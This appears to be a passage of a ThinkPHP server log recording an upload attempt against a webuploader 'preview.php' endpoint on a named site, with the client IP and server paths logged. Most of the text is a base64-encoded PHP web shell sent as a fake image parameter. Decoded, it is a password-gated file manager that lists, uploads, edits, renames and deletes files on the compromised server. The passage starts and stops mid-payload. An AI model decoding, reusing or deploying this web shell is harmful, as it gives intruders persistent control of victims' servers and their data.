GVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:22+08:00 ] 119.42.146.234 POST 51tianwei.com/app/app/webuploader/0.1.15/server/preview.php [运行时间:0.002608s] [吞吐率:383.43req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'app', 2 => 'app', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlc